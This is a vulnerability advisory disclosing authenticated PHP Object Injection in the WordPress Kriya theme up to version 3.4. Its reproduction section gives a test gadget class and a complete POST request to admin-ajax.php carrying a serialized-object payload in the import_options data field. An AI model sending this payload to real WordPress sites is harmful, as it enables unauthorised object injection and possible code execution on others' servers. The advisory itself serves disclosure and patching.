WordPress Kriya Theme <= 3.4 is vulnerable to PHP Object Injection

Patch priority: high
Patch immediately High priority
8.8
High severity CVSS 3.1 score
Published on 24 June, 2025

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Vulnerability description

Bonds discovered and reported this PHP Object Injection vulnerability in WordPress Kriya Theme to Patchstack.

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How to reproduce

theme affected by auth php object injection

put code in wp-config.php

// Example class for PHP Object Injection PoC
class ObjectInjection
{
public $test;

function __destruct(){
die("PHP Object Injection: " . $this->test);
}
}

1 hit

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: SITE
Cookie: ...
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

action=kriya_backup_and_restore_action&type=import_options&data=O:15:"ObjectInjection":1:{s:4:"test";N;}

Additional comment by Patchstack

*) patch validated, waiting confirmation on exact patched version

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Link to updated version
Software
Kriya
Type
Theme
Vulnerable versions
<= 3.4
CVE
Not assigned yet
Classification
PHP Object Injection
OWASP Top 10
A3: Injection
Required privilege
Subscriber
Credits
Bonds Bonds
Published
on 24 June, 2025
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